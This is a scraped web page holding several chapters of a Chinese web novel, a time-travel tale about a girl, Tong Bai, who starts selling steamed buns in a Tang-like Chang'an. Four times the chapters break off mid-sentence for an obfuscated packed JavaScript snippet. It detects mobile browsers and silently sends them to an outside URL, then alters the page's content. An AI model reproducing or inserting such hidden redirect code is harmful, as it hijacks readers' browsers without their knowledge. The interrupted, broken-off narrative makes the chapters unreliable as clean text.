想着适才在井边看到的洗菜的,洗衣的,还有洗乱七八糟东西的人混作一团围在一起的场景,童白脸色有些发绿。 家里能凿口井就好了! 这时,白氏兜着用宽布绑在胸前的四郎回来了,脸上带了几丝红晕。 童白刚想跟白氏说上几句话,就见白氏视线扫过院子里晾晒着的菜蔬和霉豆子。 脸色一沉。 白氏气啊! 从地上滴落的水渍不难看出那豆子已经洗过,除了比寻常豆子瘪一点,倒是瞧不出发霉的迹象。 但那晾晒着的萝卜皮,想着回来的路上听到的那些妇人嘴里传的话语,白氏眼中立马浮现出适才在崔府门前遇到以前同在府内绣房做事的玉娘子的场景。 用熏着浓香的绣帕死死捂住口鼻的玉娘子尖着嗓子道:“晦气!离远些!你这身病气莫冲撞了贵人!” 她那斜着眼瞧自己的嫌弃模样,让白氏内心五味杂陈。 “饷银不都给你了吗?怎么还要去捡富户家不要的萝卜皮回来吃?”白氏冷冰冰的质问声响起,“难道不够花用?” 童白抬起眼帘:“这萝卜皮是我从买的萝卜上削下来的,怎么吃不得了?”这跟饷银有什么关系?! 或许白氏是关心那饷银使用情况? 她从怀里掏出个土粗布做的荷包,递给白氏,“我把饷银换了个荷包装着,”说着,拍了拍腰间系着的靛蓝色旧布袋,上面的‘崔’字大剌剌地朝着外,“这上面的字有威慑力,我系腰间了。” 上回崔家军士来过后谢家的态度让她意识到,大树底下好乘凉。 上一世,家里有背景的人,别人也不敢轻易得罪,何况阶级森严的这里。 她把这带有崔家标记的旧布袋系在腰间,权当是给自己身上烙上崔府的标记,以换取庇佑。 15. 可怜的崔十九郎 白氏没接,只抿了抿唇,眼神从童白蜡黄的脸看到因用水过多而白的发皴的手心,再到地上的萝卜皮,嘴角动了动,像是被烫到一般,最终什么也没说,转身进了主屋。 关门声落下,白氏慢慢走向竹床,一股难以言喻的情绪,混杂着刚才在崔府门前的难堪,堵在胸口。 上不去又下不来。 童白默默将荷包收回怀中,抬头看了眼天色,她喊来二郎,“二郎,你去坊南面西南角去找到位胡老汉,你领着他来咱家,说要买两捆柴,让他送家里来。”胡老汉家的木柴价格跟别家一样,却比别家晒的更干燥。 一捆木柴二十余斤,需要十个大钱,两捆便是二十个大钱,往日里两大捆可以用个三、四天,现如今打算做吃食生意,只会更费柴,她想跟胡老汉谈一谈,日后能不能都送货上门。 至于说蒸饼会不会卖不出去,童白都没考虑过这个问题。 好不好吃,从童家几个孩子和白氏的表现就能看出来。 他们在崔府的时候虽然是家奴,但童爹追随在崔将军身边,一家子在府中的待遇说不上比拟主子们,却比一般奴仆强上不少。 童爹得了好吃的,也没少带回跟家人一同享用。 白氏昨日吃不够的模样并不是假装。 二郎从虚掩着的大门出去时,拿着脏尿芥子的白氏出来了,瞧了眼坐在院子里站着翻动萝卜干和白菜的‘她’,三娘蹲在其身边,正学着翻动着萝卜皮。 一口气没喘上来被噎了回去,“咳咳……”呛的她咳了几声。 姐妹俩都往她这瞧过来,跟自己几乎一模一样的杏眼中全是疑问。 童白见她咳得难受,起身端着木盆,往白氏面前递了递,“放这里面,等晚点我端去井边洗了。”小时候帮爷奶给菜地浇过粪水,对四郎这尿戒子她也没嫌弃。 比起这个,她更想知道究竟发生了什么事,“阿娘,早上你去坊吏和崔家送蒸饼时可有发生什么事? 白氏眼中浮现出在崔府门前遇到以前同在府内绣房做事的玉娘子的场景:玉娘子那用绣花帕子遮住鼻子,斜着眼瞧自己的嫌弃模样,心中燃起股子愤愤之情。脸上也浮现起红晕来。 童白心里一咯噔,好了,不用说就知道,肯定是遇到事了。 难怪适才回来时说话夹枪带棍的。 “可见到了赵管事?或者那日前来上门的张军士?”童白问,最怕是这两人给白氏下了脸子。 要知道这俩可是目前童爹这边能用到的人脉之一,她马上要开始挎篮售卖蒸饼,总觉得还是需要有些依靠更安心些。 当然,若是童爹能回来更好! 新朝建立的封建朝代,若是家里有个顶梁柱撑起门户,自然会简单舒服很多。 但她怕童爹回来,对自己态度才有些软化动摇的白氏会跟童爹讲了自己的情况,然后…… 跟病殃殃的白氏和年幼的二郎他们不一样,童爹可是跟着将军在战场上厮杀了十余年,且建功立业的校尉。面对类似‘邪祟’上身的女儿,他会如何选择呢? 白氏摇头:“都没见到,不过我跟门房提了嘴张军士。” 童白点头,不管如何,她们心意做了,至于收没收到,以及对方有没有放在心上,却是她们无法把控的。 被两人念叨着的张军士,这会儿才下值回到延寿坊崔家。 上个月他被将军派回来给府上送信后,便留在了府中。前些时日圣上下令让京里世家的部曲加入城内的治安武侯队伍时,他的名字被老太爷报上去了。 所以他现在虽然住在延寿坊崔府,却在武侯巡察营内任职。 张勇脱下软甲,灌下一壶温水,心思却还在早上在南边遇见的那道推车身影上。 崇延坊童家,要不要把这事跟十九爷提一嘴?十九爷近来胃口愈发差 心中还没个定论,就见门房家八岁小童左右胳膊挎着两个竹篮过来。 “勇叔,”赵元郎在门口站定,出声道。 家里教过他,未得主子同意,不能随意进屋子。阿爹说,对勇叔也要尊重,所以他下意识便这般做了。 张勇坐在圆凳上道:“进来吧。” 元郎踏着规整的步伐进到屋内,将手上挎着的篮子放在圆木桌上,微垂着头毕恭毕敬道:“这是崇延坊童家白娘子今早送来的蒸饼,说是自家做的,送来给赵管事和张军士尝一尝。” 张勇掀开篮子上盖着的干净树叶,就见竹篮子里放着跟平常蒸饼不太一样的白胖小蒸饼,皮上的花纹并不是那么明显,甚至于大小也不是那么的规整。 正好,值了个夜班,刚交班不久,肚子正空。他随手捏了一个放进嘴里,这大小,分开吃也就两口一个,但一口塞进去,也不是不行。 咀嚼咀嚼,嗯,再来一个,嚼吧嚼吧,又来一个。 三口吞下三只包子,馅料未辨已空。待咬开第四只,油润菜丝混着焦香渣粒在齿间迸开,他猛地起身:这吃食或许能合十九爷的胃口! 他拎起竹篮,起身往外走,“元郎,你阿奶呢?在房里吗?” 元郎恭敬道:“在呢。” 三刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042875|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟后,延寿坊崔府角门驶出一辆青篷车,车顺着坊道往东驶去,路过太平坊后停在了光禄坊和兴道坊之间的朱雀门外街的路边拐角处。 在朱雀门前,停了不少华贵的马车,张勇驾驶的这辆青篷小车夹杂在其间显得有些寒酸。 加上驾车的车夫虽身姿强健,却穿着最普通的粗布衣裳,嘴里含着根野草靠在车厢,微眯着眼,瞧着坊间行走的人,闲适舒爽极了。 直到铜钟“嗙嗙嗙”响起,朱雀门里涌出好些个身姿卓然的少年郎。 坐正了身子,张勇在人群中寻觅着,瞧见了人,他朝左前方挥手,喊道:“十九爷!”声音粗如铜钟,惊的好些个纤细文弱少年郎避开这边,纷纷用衣袖掩面。 一名身材高挑纤细肤色苍白却更显出几分破碎感的美貌少年郎走在人群中,他不紧不慢地走着,直直行到这青篷小车面前。 张勇掀开车帘,少年郎却被人给叫住了。 “崔十九郎,你们家好歹也算是山东崔氏的旁支,平日里你常常蹭坐那小吏之子王六郎的马车就算了,今日这辆还不如王六郎常坐的大。不知道的还以为这是仆从出门乘坐的马车,哈哈哈哈哈……” 崔十九郎脸上的神情虽没太多变化,但在他对面的张勇却是瞧出了主子眼中一闪而过的狠厉和不耐烦。 主子绝对是不开心了! 张勇垂下头,心底为那几位口无遮拦的少年郎默哀了一瞬。 崔十九郎转过身来,低垂着头,长长的眼睫在苍白的脸颊上投下阴影,掩去了眸底深处一闪而过的、冰棱般的冷光。 他声音细小,带着恰到好处的怯懦:“按崔家家规,庶子出行配青篷小车,并无逾矩。谢萧少爷提点。”说着,朝萧五郎的方向深深一揖,谦卑的姿态摆得十足十,宽大的衣袖随着动作垂下,遮住了他瞬间紧握又松开的拳。 “哼,你倒是识趣!”萧五郎像一拳打在棉花上,心头那股邪火更旺,却又无处发泄,只能指着自家仆从迁怒,“你们这些人是瞎了还是聋了,本少爷要上车,你们也不知道扶一下?”字字句句,虽是在骂自家奴仆,却不难听出其是针对着谁来的。 围在旁的聪明人大多都明白萧五郎这针对的是谁。 人群里的王六郎想要过来,却被身旁的族兄硬拉住,挣脱不了禁锢,只得眼睁睁看着萧家的大马车离去,再转头看向崔十九郎那边。 就见,崔十九郎慢腾腾地踩着马凳进了车厢,微垂着头,带上几分难以言说的寂寥。 王六郎内心只有一个想法:十九郎也太可怜了! 16. 皮冻?汤包! 车帘落下,隔绝了外面的喧嚣与窥探。 车厢内陈设简单。 活动桌板上,一只竹篮静静搁着,盖布缝隙间逸出丝丝缕缕温热的、混合着焦脆油香与谷物甜香的气息。 在这密闭空间里显得格外扰人,也勾得空泛的胃袋一阵紧缩。 崔十九郎眉间习惯地挤出川字,按了按胃脘,声音带着一丝不易察觉的疲哑:“张勇,竹篮里是何物?” “回主子,是崇延坊童家送去府上的蒸饼。”车辕外传来张勇压低的声音:“属下见主子近日胃口欠佳,想着这饼味道尚可,且热乎,便一同带来了。” 没听见里面的动静,张勇继续道:“属下已尝过,是白菜猪油渣馅儿,吃着胃里甚是舒坦。”他顿了顿,想起童白推车时单薄的身影,又补了一句,“那童家,便是主子在谢家遇到的做炙烤羊腿的小娘子家。” 明面上他依然在崔将军名下,但实际上,一年前他便被崔将军给了十九爷。 白菜猪油渣? 崔十九郎唇角微不可察地向下撇了撇,一丝若有若无的讽意掠过。 他虽被家里主母不喜,但也从未吃过这等市井粗食。 然而腹中此时发出肠鸣声提醒着他,竹篮缝隙中透出的食物香味有多么的诱人。 想着今早送来的昨日府上剩下的油腻餐食,他喉头泛起一阵恶心。 这么些年来,主母折腾庶子的手段倒是没有什么变化。 依旧如此的粗鄙且……好用。 鼻尖嗅着温暖的麦香味,崔十九郎盯着竹篮许久,最终还是用修长的手指挑开了盖布。 篮中躺着几只白胖小巧的蒸饼,不过小半个掌心大,模样比坊间常见的粗笨蒸饼精巧许多。 他拈起一个尚带余温的,入口是意料之外的暄软。 温热的、裹着浓郁丰腴鲜香的汁水透过咬破的面皮瞬间在舌尖迸开,盈满口腔。 焦脆的油渣碎混着清甜的白菜丝,朴素的食材在齿间迸发出奇异的满足感。 他的味蕾,仿佛被这质朴的浓香骤然唤醒,腹中竟也感到一丝久违的暖意。 一个吃完,车厢内一片静默,崔十九郎垂眸看着自己的手指,又静默片刻,才伸手拈起第二个。动作依旧带着刻入骨髓的优雅仪态,但取食的速度,却比方才快了。 待第二个蒸饼吃完,崔十九郎拿起第三个,却在入嘴前顿住。 “张勇,晚些去给崔叔递个口信,把萧家近来在陇右做的那点手脚,”他语气平淡,仿佛在说一件微不足道的小事,“透给周御史知晓便是。” “是!属下遵命。”张勇在外沉声道,内心却有那么一丝失望。 崔十九郎看着指尖的蒸饼,食材虽粗鄙,但滋味的确不错,“这蒸饼滋味尚可。你去寻老吴,领一份赏。” 张勇粗眉一扬,声音里压不住喜意:“谢主子赏!那崇延坊童家那边?”他试探着问。 车厢内静默了一瞬,崔十九郎想起童白在谢家做的炙烤羊腿的焦脆口感以及那蜜渍金齑泡水的酸甜滋味,以及若不是这小娘子拒绝去谢家做小厨娘,给了他们安插人手的机会…… 良久,车厢内才又传出那清冷、听不出情绪的声音,“既那童校尉是你旧识袍泽,若遇难处,酌情看顾一二便是。” 张勇精神一振:“属下明白!若童家再做了新鲜吃食送来……”这话说出来后,他精神紧绷。 上回童家小娘子做的炙烤羊肉能入了主子的眼,这次做的蒸饼让主子能进食,是不是意味着有第三回、第四回? 他这句话既是询问,也是试探。 “可。”一个字,干脆利落。 车辕处的张勇笑意直达眼底。 车厢内,崔十九郎的目光落在竹篮中,浓密的长睫垂下,掩去了眸中一丝不易察觉的、对这份难得滋味的认可。 * 他们这边的事情,崇延坊的童白一点都不知道,她花了一百个大钱买下四大捆木柴,顺带跟这卖木柴的胡老汉约好了,等五日后,请这胡老汉直接送木柴来家里。 木柴的事情落实好,西市也在鼓声中开市,童白带上二郎赶忙去了西市。 西市一如往常的热闹,家里的粮食够用,她这趟直接去屠行,她打算做白菜猪肉、萝卜猪油包,至于说油渣包,那要等什么时候炸猪油了,什么时候再做。 这会儿时间尚早,可以供挑选的肉不少,猪肉馅用三肥七瘦或者四肥六瘦的都可以,五花肉比较贵,她选择的是后腿肉,肥肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042876|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够又添了一条肥的。 “大伯,你这有单独售卖的猪皮吗?”童白问出这话时,并不确定屠行售卖。 她观察过,屠行卖猪肉连带着猪皮一同售卖。 站在童白对面的屠户正巧是这家屠行的东家陈一刀,他们家从阿爷那一辈便在长安城做屠行生意,但是直接问只买猪皮的却不多见。 “敢问小娘子买这多猪皮作甚?”陈一刀问。 童白没想到只是买个猪皮而已,竟然还要问做什么,不过,她早有应对的话语,“这不是想着猪皮也能带上几分荤味儿。” 荤味儿,身旁一同挑选猪肉的其他买肉之人,耳朵立马竖起来了。 这年头,牛肉不允许贩卖,马肉并不多见,羊肉常见却不便宜,鱼肉腥,鸡鸭肉口感未免单调了点,猪肉虽也有着一股子腥臊味,却已然是平民百姓能吃到的荤食了。 只不过,猪肉再便宜,却也是荤食,必然比菜蔬要贵。 “若是小娘子需要,我倒是能卖,”他家淡季的时候每日要杀两到三头猪,旺季的时候,一日能卖个四到五头猪,有些人家不愿要猪皮,所以他们家吃过猪皮做出的食物。 只不过,处理干净猪皮上的猪毛是件麻烦事,费时费事不说,味道却不怎么好吃。 童白听他这口气觉得有戏,垂下眼帘,掩住了眼中的兴奋。 也不知道,对方打算卖个什么价位? 她这些日子在西市,虽没银钱买别家的包子试吃,但仔细观察不难发现,西市售卖的包子并无带汤汁的。 包子馅料分为熟馅和鲜馅,鲜肉馅想要口感鲜嫩,打入葱姜水是关键。想要包子咬下去满口汤汁,童白记得前世有个法子,是用熬得浓稠的猪皮冻拌进馅里。 这让她萌发出做皮冻的想法。 这几日,童白心思全在卖蒸饼上,并没有按白氏说的先去买布做衣裳,并不是她不冷,更不是她狠心不给二郎他们添衣。而是想要将大钱用在能够有产出潜力的吃食买卖上。 陈一刀见问话的小娘子穿着寒酸,自家这猪皮剩的也不多,本想说给个三、五个大钱,处理了得了,身后的衣服被拉了一下。 陈家娘子笑道:“这猪皮比肉要便宜一些,五个大钱一斤。” 17. 拒绝做冤大头 一听这个报价,身边买肉的人禁不住倒吸一口凉气,顿时也没觉得手上的十几个大钱一斤的猪肉贵了。 没肉没油的猪皮都要五个大钱一斤! 更多的人心里兴起看戏的心理,想看看这小娘子会如何选择。 毕竟便宜不好占。 猪皮不好煮,废木柴,荤肉味儿有,但腥臭味和口感让许多人止步。 五个大钱一斤猪皮?真当我是冤大头! 童白心底冷笑,面上却愈发不显。 只摇头遗憾道:“我阿娘说了,若是这个价格,我们买不起。” 她是穷,但不傻。前世探店遇到的奸商套路,换了个时空照样上演。 别说现在手上的银钱有限,就算是在上一世,不缺买猪皮的钱,她也不愿做冤大头。 这反应,让以为能宰上一笔的陈家娘子心中有些不悦,没想到看着单纯好骗的小娘子倒是机敏,瞬间垮脸,“小娘子的阿娘倒是勤俭。”话语间的阴阳味十分明显。 反正这姐弟俩衣着寒酸,也不怕得罪。 童白垂下眼帘,就当没听出来对方言语中的阴阳味儿,诚恳道:“嗯,阿婶说的对!我阿娘可会过日子了。” 这陈家屠行猪肉虽比王家屠行便宜,但屠行的东家娘子做生意不诚信,不适合合作。 从这边出去后,她去了药饮子店,在这里买了些香料和一包驱寒用的药包,腰间鼓起的荷包一下子瘪下去不少,童白心疼的很,不敢继续逛了,直接去了昨日买肉的王家屠行。 果然,王家屠行做事敞亮多了。 听到童白想要买猪皮,那屠行东家直接给她拿了几块,童白要给钱,他瞪眼摆手道:“我记得小娘子你,在我这买过肉,这玩意毛扎扎的,又没多少,给钱是埋汰我吗?” 童白掂了掂手里约莫两斤多重的猪皮,这么多,可是她适才在陈家铺子桌上摆的份量,这王家屠行说送就送? 眼神扫过摊子,心中很快有了计较,“这些我都要,王东家说个价吧。”指着摊子角落余下的那一堆带着黑色猪毛的猪皮。 但她和二郎穿着实在是过于寒酸,年岁也不大,上一家屠行的东家娘子便是想要占便宜。 不知道王家屠行的人会如何? 咽了咽口水,童白心中忐忑。 屠行东家王大友听到这话,仔细打量对面小娘子的神情,见她不像是胡言乱语,才道:“小娘子若是诚心要,这些下脚料给三十个大钱全拿走得了,不止这里的,我后院也有这么多,都卖给你。”顿了顿,视线飞快在姐弟俩的衣着上打量一遍,“省得占地方。” 童白瞧了眼摊子上的猪皮数量,现在的土猪个头并不算大,一头一百来斤的猪也就只有心下有了底,难怪说送她几块不要钱,摊子上摆放的就有十个她手上的猪皮量,这还只是一半的量。 在后世,一头大概一百公斤的猪宰杀后,能得到约莫五公斤的猪皮,五公斤也就是十斤,换算成这里的重量,也有五六斤了,而王家屠行摆在外面的猪皮,约莫是一头猪身上的猪皮,两头猪的猪皮也就有二十斤。 按照陈家屠行东家娘子给的价格,这王家屠行比陈家屠行报的价格低了一大半。 说不上送,但是应该是没多赚,实惠的生意。 最主要,她观这猪皮品相可要比那陈家屠行的好上不少! 但,买东西哪有不砍价的,加上童家还真是没钱,她心一横、咬牙还价:“三十有点多,二十五,就,就全要了。” 皮冻虽处理起来费时费工,但熬成皮冻能用很久,还能让包子多个与时下售卖的包子不一样的卖点。 这时候的童白根本没想过这么多的猪皮全做成皮冻,家里需要花费多少木柴、多少时间制作,以及制作好后如何存放的问题。 王大友额角的青筋抽了抽,视线扫过对面俩身影的衣着,应声道:“行!” 童白没想到对方如此干脆,可能就是对方太干脆了,她伸出去掏钱的手几不可察地一滞,一丝懊悔迅速窜上心头:感觉砍价砍少了! 王大友雷鸣般的声音响起:“小娘子,这个价给你我本就不赚钱,可不兴再便宜了。”他眼睛虽不大,却尖利着呢,别以为他没看出对方的犹豫。 早知道再还一轮价! 童白抿了抿唇,慢吞吞地将那二十五个大钱一枚一枚地放在案板上。 王大友心知这小娘子还想还价,也有点恼火! 这个价,他真没赚钱! 不过,不满的情绪在看到童白和身边孩子的麻衣后,只粗声粗气道:“顶多,我再将这猪毛烧掉。”他也有一家老小要养,哪怕可怜对方,也是有价格底线。不过,钱便宜不了,倒是可以帮着去掉猪毛。 给猪皮去毛是个繁琐的活计,需要耗费的木柴不少,童白自然不会拒绝,“那自然是好,麻烦王东家了,王东家这可帮了小女子大忙了!一会儿我再过来拿猪皮可好?”花钱舍不得,但好听的话语倒是不吝啬。 别看售卖猪皮只是个简单的生意,但这个生意并不是一般伙计能做主的。童白自然明白了对方的身份。 王大友嘴角扬起,声如洪钟:“小娘子两炷香后来取便是,二叔,来活了。” 一名瘸着腿的须发花白的大叔从后院进到店铺内。 王大友指着台面上摆着的猪皮道:“二叔,这些猪皮都拿去后院处理掉猪毛,一会儿这小娘子要来拿走。” 瘸腿中年大叔抬眼瞧了童白一眼,很快移走视线,利落地将猪皮拿走。 也就那么一眼,童白在对方身上感受到了一股子不像市井讨生活的人身上的凌厉,瞬间汗毛竖起。 但很快,那股子感觉又消失了,童白以为是错觉,领着二郎去了隔壁巷子的陶器店。 姐弟俩再回到屠行时,处理好的猪皮放置在一旁。 王大友指着黑乎乎的烫痕说:“这个,小娘子回去多用丝瓜络多刷洗几次就好,并不是坏了。”小娘子虽说话老道,但外表看着单纯,他不自觉的多说了几句。 童白仔细看了许久,嗯,这王家屠行并没趁机调包以次充好。 王大友帮着姐弟俩把猪皮搬上推车,就放在童白采购的其他物件中间。乍眼一看,推车上的东西可真是不少。 童白视线随着猪皮放在推车上而逐渐火热,视线扫过推车上摆放的纸包时,内心的激动差点溢出来。 找到了!白芷、草果、白蔻,这些全是后世用来处理肉腥味的香料,同样也是制作腊汁肉的香料。 想着白馍夹上软糯香浓的卤肉,童白的口水都出来了。 等她攒够了香料,定要售卖一番, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042877|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过做这个需要摊位,毕竟加热后的卤肉汤汁的香味便是最佳的广告,她相信,定能吸引来不少想要购买的食客。 别看现下百姓手上看似没有银钱,但愿意为口腹花费的也不少,毕竟,长安城有那么多胡商和官宦商贾。 一路上,童白脑中已然呈现出一片繁华的美食事业之路,现在缺的是第一步,她要开始挎篮售卖包子。 实现赚钱大计前,她得先知晓下市面上产品的情况。 唔,落实到实处便是:花钱买西市摆摊售卖的蒸饼摊的蒸饼吃! 想到此,童白的视线一直在街边的蒸饼摊上看,心里盘算着一个蒸饼如何切才能平均地分给家人吃。 一人一个蒸饼尝尝味道?这事是不可能发生在现在的童家。 哪怕尝味道是为了探查目前长安西市的蒸饼口味也不行! 二郎刚开始并没有在意,阿姊自从喝了霉米汤再醒来后,不仅开始做膳食了,还对外面的吃食摊子十分在意。 但,阿姊这次并不只是看,她还买了! 从最开始见到阿姊买蒸饼的舍不得,到最后的麻木,也就经历了三个蒸饼摊。 回到家中,三娘迎上前来,奉上她最真诚的思念:抱住童白的大腿恨不得贴在大姊身上,另一只小手还拽着二郎的衣摆,主打两个都要雨露均沾。 这会儿日头已然西晒,院子里的阳光很好,照在身上暖洋洋的。 童白:“阿娘,三娘,都来灶屋尝尝这些从西市买的蒸饼,比比看哪个好。”要知道,每个人的喜好是不一样的,所以在可以的前提下,试吃的人是越多越好。 童二郎在阿姊的眼神示意之下,微微颔首,拉着三娘一同去了主屋。 这是童白提前便与他说好的,担心白氏还别扭着不愿意出来,童白安排二郎去请一请。 童白去到灶屋,将买回来的蒸饼都拿出来,又用清水洗净了菜刀。崇延坊离西市并不远,她又将蒸饼放在买回来的絮和粗布中,现在还是温热的。 等着家里人齐聚灶屋后,童白用刀切开,按照购买顺序一一分给大家一块切开的蒸饼。家里银钱有限,每人分一个试吃的事情过于奢侈,将蒸饼分成四块,试吃,才是最合适的办法。 白氏坐在一旁,瞧见童白用着干净的菜刀熟练的分切着蒸饼,难过的垂下了头。 这么利落的动作,她女儿可做不出来。 童白这会儿的心神全在分切包子上,说实话,这要真是后世的饼倒好改刀。但蒸饼并不是饼,而是后世的包子,她切的小心翼翼,生怕浪费一点。 白氏看着她那认真又带着几分抠搜劲儿的模样,心头五味杂陈,一时也说不上是什么滋味。 家里五口,哪怕是最小的四郎,也分得了拇指盖大小的肉馅吃,吃完后,童白细细询问家里人的吃后感。 白氏:“香料味过于浓重。” 二郎:“蒸饼外皮不够暄软。” 三娘:“肉肉没得阿姊做的好吃。” 四郎:“唔~” 童白听着家人的话,在脑中飞快分析:香料味重是为了掩盖肉腥,外皮不暄软多半是发面或揉面功夫不到家,肉馅口感差可能是选材或调味问题,但这些,恰恰都是她的优势所在。 她决定,明日晨昏她便挎篮在坊间叫卖蒸饼。 18. 卖蒸饼咯 翌日,天才蒙蒙亮,东北隅的童家的烟囱就冒出了白烟。 经过一夜的低温发酵,昨晚活好的面团已慢慢膨发,童白轻轻扒拉开一道缝隙,发现光溜的还没形成大蜂窝,这样说明发酵的不够。 烧热灶膛,坐上水,童白把装着面团的面盆放在灶边回温发酵。 包子要想好吃,除了馅料香外,蓬松松软的外皮也是关键。 等面团随着盆周温度提升,嘭发出蜂窝状的气孔,童白撒上干麦粉取出面团,在垫着木板的灶台上用搓衣服的手法揉搓面团。 这样搓过的面皮,口感会更筋道、有嚼劲。 揉面团、切面剂子,擀成中间厚四周薄的面皮,再放入馅料。左手为托右手大拇指和食指翻飞,一个个肚形圆润饱满的包子就做好了。 每个包子上的折痕就像是量过一般,深邃且均匀。 这手法……便是崔府的大厨也未必有此功底! 帮着童白看火的白氏坐在灶膛前,怔怔地看着童白的动作,一时间不知道该说什么。 童白眼角余光看到了白氏的反应,但她这会儿忙,在这里也没有口罩之类的,所以做吃食的时候,她习惯性不会轻易开口。 看呗,反正你也知道我并不是真正的原主,原主也没这本事。 这便是她当初为何选择摊牌的一个很大的原因。 虽然穿越并不是她想要的,但她也没打算饿死自己,她也没有别的门路,用制作食物来赚钱是她会选择的方式,但原主丝毫不会厨艺,就别说厨艺了,连烧火估计都不会。 童家但凡没有到断炊的境地,她或许会选择徐徐图之,慢慢将自己的变化归结于是家庭遭遇大变后的奋进。 家徒四壁,肚里空空。 真瞒不住! 白氏不知道童白心里在想什么,但她却未被童白熟练的动作惊到了。 前段时日家里喝的粟米粥虽然软烂清香,但充其量也只是一碗粥,哪怕对‘她’身份生疑后,她询问过二郎‘她’的一举一动,但听来的哪有看到的来的震撼。 软绵绵的面团在‘她’手里做成了一个个卖相精致、圆润匀称的蒸饼。 别说寻常人家,就连延寿坊崔家的大厨,都没‘她’做的好看。 所以,‘她’究竟是什么身份?师从前朝哪位名厨?还是前朝宫里的御厨?来到自家女儿身子里的原因是为何?……最主要的是,自家女儿去哪儿呢? 她这段时日无数次想过这件事,既然自家女儿的身子里有‘她’,‘她’的身子里,是不是也有自家女儿? 灶膛里的木柴爆出一声脆响,火星四溅。 童白的思绪也从苟命到担心自己这蒸饼能不能卖出去之上。 老话说的酒香不怕巷子深,前提是酒得香。 蒸饼不比炒菜或者卤菜这一类制作过程会产生浓郁香气的美食,好不好吃得进嘴后才知道。 所以想来想去,前期铺开销路的办法只有别出心裁的叫卖了, 但很快,这个想法又被她否决了。 倒不是她羞于叫卖,而是朝廷明令禁止坊间从事售卖等商业活动。坊间能提篮售卖的也是基于民不举官不究的前提之下,若是她打破了这个微妙的平衡…… 童白不由感到背脊一凉,甩了甩头,将脑中不切实际的想法甩出去。 白氏目光如同钉子般钉在童白僵直的背脊上,自然也是瞧见了对方的动作。 蒸笼噗噗的吐气声,压得人喘不过气。 她虽疑惑,却不愿开口询问,或许这是她作为母亲能做的最后的倔强了吧。 不主动接受‘她’在这个家中落地…… 等外面的天光渐渐明亮,二郎来到灶屋,童白正在给大竹篮里铺上絮布。厚实的絮布既能隔热也能隔冷,是时下常用的保温办法。 热乎的包子用絮布裹好,童白挎起沉重的竹篮,能清晰地感觉到身后的目光,带着忐忑的心情,深吸一口晨间冷冽的空气,提着一盏油灯,出了院门往东坊门走去。 这个时间比开坊的时间早,外面几乎没有人行走。 童白选择这会儿出来,是因为她已想好了第一个目标用户。 崇贤坊的房屋大多是黄土筑成,黄泥土路居多。不像延寿坊因着崔将军的宅子在,主干道上会用石块铺设。 好在近两日没下雨,虽然行走的稍微快一点都能带起黄土尘埃,稍不注意,会吸上好大一口,但比起下雨后的泥泞,还是这样不耽误事。 出了双梧巷,往南走了一段距离,直到走到主干道上,再往东走直到停在东坊门内的青石小屋旁。 童白轻声吆喝:“香喷喷的黄金油渣蒸饼,咬一口香迷糊的童家蒸饼……” 肉馅被包子皮裹着,外面又盖上厚厚的絮布,看不见闻不到尝不着,哪怕她再担心这样的吆喝行为会招来不妥,但落在实处,还是得吆喝! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042878|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊出第一声后,后面的话便越说越顺口:“纯麦粉做的暄软松软的白面蒸饼。白菜鲜、油渣香、咬一口流油的蒸饼,一吃一个不吱声的蒸饼。才出锅的热乎蒸饼,吃一口浑身暖和又舒坦的……” 今日崇延坊东门是付坊吏当值,睡得迷迷糊糊的时候,清脆的叫卖声,压过了往日呼啸的寒风,字字句句顺着耳朵钻进他脑中。 一夜未进食的腹中发出‘咕噜咕噜’的声音,在安静的狭小空间里,显得特别响亮。 “要个蒸饼!”嘴巴比脑子先醒来,付坊吏喊了一声,好在才睡醒,他这一声并不大,起码,应是没有传到巷子里,但却将他整个人都惊醒了。 天冷的时候值勤,最难熬的是早上这段时间。在鼓声中开启坊门,再在寒风中饿着肚子等着家里的仆从给他送来早膳。 